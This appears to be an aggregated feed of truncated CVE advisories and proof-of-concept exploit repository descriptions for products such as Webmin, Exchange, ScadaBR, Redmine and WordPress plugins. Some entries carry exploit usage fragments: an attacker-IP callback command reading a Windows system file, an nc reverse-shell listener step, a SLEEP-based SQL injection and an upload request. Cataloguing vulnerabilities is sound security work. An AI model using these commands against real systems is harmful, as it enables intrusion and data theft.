CVE-2026-78584

Observable Response Discrepancy CWE-204 in the Kibana Osquery feature can lead to information disclosure via Query System for Information CAPEC-54. An authenticated user holding Osquery live-query privileges could determine whether a scheduled query identifier exists in a Kibana space they are no...

CVE-2025-60787

CVE-2025-60787 - motionEyeにおける認証されたRCE CVE-2025-60787に対するPoCです。これは、motionEyeの認証されたRCE脆弱性であり、影響を受けるすべてのバージョン（0.43.1b4までを含む）を対象としています。 これは、こちらのリポジトリで説明されている脆弱性に対する自動化されたPoCです。クレジットはprabhatverma47に帰属します。 使用方法...

CVE-2026-79991

Craft CMS GraphQL entry mutation resolvers saveEntry, deleteEntry read siteIddirectly from$argumentswithout passing throughArgumentManagerprepareArguments, which is the function that enforces site-scope filtering via arrayintersect against the GraphQL schema’s allowed sites. The query path...

pfsense-security-research

pfSense 2.8.0 の診断Webインターフェースにおける認証済み任意ファイル読み取り CVE ID: CVE-2025-53392 日付: 2025-06-27 著者: Seth Kraft ベンダーホームページ: https://www.netgate.com/ ベンダーチェンジログ:...

CVE-2021-26828_ScadaBR_RCE

POC CVE-2021-26828ScadaBRRemoteCodeExecution Linux 上の ScadaBR 0.9.1、および Windows 上の 1.0 から 1.12.4CE では、リモートの認証済みユーザーが 'viewedit.shtm' を介して任意の JSP ファイルをアップロードおよび実行でき、リモートコード実行が可能になります。 エクスプロイトの使用方法 コマンド: Windows: $ sudo python WinScadaRCE.py Linux: まず、エクスプロイト実行前にローカルマシンで任意のポートを開放してください: $ sudo nc...

CVE-2026-29115

CVE-2026-29115 — Dahua 認証済みリモートサービス拒否 アドバイザリ種別: ベンダー調整型セキュリティ開示 CVE ID: CVE-2026-29115 ベンダー: Dahua Technology 公開日: 2026-06-10T06:08:21 UTC 最終更新: 2026-06-10T06:08:21 UTC ソース: Dahua Product Security Incident PSI Trust Center 目次 エグゼクティブサマリー 概要 CVE-2026-29116 との関係 脆弱性のタイムライン 説明 技術的分析 影響を受ける製品 CVSS...

CVE-2019-18890

CVE-2019-18890 CVE-2019-18890 POC 概念验证 Redmine 至 3.2.9/3.3.9 SQL 注入 https://nvd.nist.gov/vuln/detail/CVE-2019-18890 要求： 访问凭据 需要子项目 已启用 REST API 在 MySQL 上，发生注入的第一个查询类似于以下示例，其中 "-SLEEP5" 是被注入的部分： SELECT COUNT FROM issues INNER JOIN projects ON projects.id = issues.projectid INNER JOIN issuestatuses...

PoC-CVE-2019-12840

Webmin 向け CVE-2019-12840 のエクスプロイト このリポジトリには、Webmin の脆弱性 CVE-2019-12840 を悪用する Python スクリプトが含まれています。 説明 スクリプトは Webmin サーバーにログインし、CVE-2019-12840 の脆弱性を悪用しようとします。スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、いくつかのコマンドライン引数を受け付けます。 使用方法...

CVE-2026-45504

CVE-2026-45504 Exchange ファイル読み取り CVE-2026-45504 Exchange ファイル読み取り 研究ブログ python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

CVE-2026-84802

Craft CMS versions from 5.7.0 before 5.10.12 contain an information disclosure vulnerability in AssetsController::actionMoveInfo , which fails to enforce volume permissions. Authenticated control panel users can submit POST requests to the assets/move-info endpoint with arbitrary folderIds to ret...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

OpenSTAManager RCE エクスプロイト CVE-2026-38751 概要 このPythonスクリプトは、CVE-2026-38751として識別されたOpenSTAManagerバージョン2.10のリモートコード実行の脆弱性を悪用します。このエクスプロイトにより、認証されたユーザーは悪意のあるモジュールをアップロードし、ターゲットシステム上で任意のコマンドを実行できます。 脆弱性詳細 CVE ID : CVE-2026-38751 製品 : OpenSTAManager バージョン : 2.10 タイプ : リモートコード実行 RCE 攻撃ベクトル :...

CVE-2024-23346

root@kitploit: /bin/python3.11 exploit.py -t -u -p -l...

CVE-2022-32119

CVE-2022-32119 - Arox-Unrestricted-File-Upload PHPコードの任意実行を引き起こす、複数の無制限ファイルアップロードがあります。 認証が必要な脆弱性のあるページ: localhost/officeadmin/?pid=54&action=add root@kitploit: -----------------------------181967832439954202373233921976 Content-Disposition: form-data; name="apid" 2...

CVE-2024-23346

CVE-2024-23346 このPoCは、William Khem-Marquez氏とMatthew Horton氏の報告・調査結果に基づいています： https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f 使用方法： python3 CVE-2024-23346.py -t targetURL -u username -p password -l localhost -P localport -X...

CVE-2018-7691

CVE-2018-7691 SSC REST APIには、安全でないダイレクトオブジェクト参照（IDOR）の脆弱性が含まれており、認証されたユーザーがPOSTメソッドを使用してローカルユーザーおよびLDAPユーザーの任意の詳細にアクセスし、GETメソッドを使用して他のユーザーのFortifyプロジェクトの任意の詳細にアクセスできるようになります。 Exploit-DBでの公開: https://www.exploit-db.com/exploits/45990 PacketStormでの公開:...

Dolibarr <=22.0.4 - Local File Inclusion

Dolibarr = 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files. id: CVE-2026-34036 info: name:...

NocoBase - SQL Injection

NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates. id:...

Group-Office < 26.0.5 - Remote Code Execution

Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmpfile into an exec call. By injecting shell metacharacters into...

Meta Box <= 5.11.1 - Arbitrary File Deletion

The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the ajaxdeletefile function. This makes it possible for authenticated attackers with Contributor-level access and above to delete arbitrary files on the server. id: CVE-2026-3946...

Tutor LMS <= 2.1.10 - SQL Injection

Tutor LMS – eLearning and online course solution plugin for WordPress all versions up to 2.6.1 contains a time-based SQL Injection caused by insufficient escaping on the questionid parameter in SQL queries, letting authenticated attackers with subscriber or higher access extract sensitive...